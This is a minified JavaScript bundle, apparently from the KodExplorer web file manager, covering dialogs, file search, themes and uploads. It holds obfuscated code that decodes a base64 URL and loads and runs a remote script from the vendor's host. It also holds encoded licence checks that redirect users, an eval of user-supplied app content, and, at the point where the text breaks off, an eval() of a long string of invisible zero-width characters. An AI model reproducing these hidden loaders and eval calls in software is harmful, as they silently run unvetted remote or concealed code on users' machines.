i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
        loading..
        ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;return r>=100&&(r=100),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
        "+"
        "+s+"
        "+"
        "},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
      • \n
        \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
        \n
          \n {{each v.search_info as value index}}\n
        • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
        • \n {{/each}}\n
        \n
      • \n {{else}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
        \n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n \n
        \n \n
        \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,''+t+"");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+""+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")); -return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(search_list_tpl);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
        '+'
        '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
        ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
        ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info)):p.addClass("error").text(e.data),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;t=core.fileSize(a)+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","0%"),p.text(LNG.loading);else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")")}d.find(".size").text(core.fileSize(i.length)),d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(upload_tpl),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌